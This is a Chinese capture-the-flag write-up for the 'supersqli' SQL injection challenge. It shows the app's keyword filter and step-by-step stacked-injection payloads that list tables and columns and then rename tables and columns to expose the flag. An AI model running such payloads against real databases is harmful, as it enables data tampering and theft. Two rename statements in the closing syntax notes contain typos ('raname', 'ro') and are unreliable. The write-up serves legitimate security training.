SQL注入_随便注
Supersqli强网杯 攻防世界
题解
1.首先使用 1'or 1=1# 注入成功,存在sql注入
2.尝试使用union联合注入,发现返回错误
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
3.没有过滤分号,尝试使用堆叠注入
1';show databases;#成功
4.查询所有表
1';show tables;#
得到:
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
array(1) {
[0]=>
string(16) "1919810931114514"
}
array(1) {
[0]=>
string(5) "words"
}
5.查询"1919810931114514"表和"words"表
1';show columns from words;#
1';show columns from `1919810931114514`# 纯数字做字符串为表名时,要加反引号
发现1919810931114514存在flag列名,并且默认查询的为words表
6.根据过滤内容可知过滤了select,因此可以考虑使用rename语句
1';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100);#
因为后台是从words表中进行查找的,所有将原words表名修改为其他,之后将包含flag的表1919810931114514表名修改为words,此时再查询时便是在包含flag的表中查找
但是查找的列名为id,所以还要将列名id修改为flag表名
注意使用sql的语句版本
7.最后使用1'or 1=1#即可查到flag
SQL中RENAME语句
重命名表:
1.alter table
alter table OLD_name raname to NEW_name;
2.rename table
rename table OLD_name ro NEW_name;
重命名列
1.alter table MySQL 8.0+
alter table table_name rename column OLD_name to NEW_name;
2.change 兼容MySQL 5.0+
alter table table_name change OLD_name NEW_name varchar(xxx);
浙公网安备 33010602011771号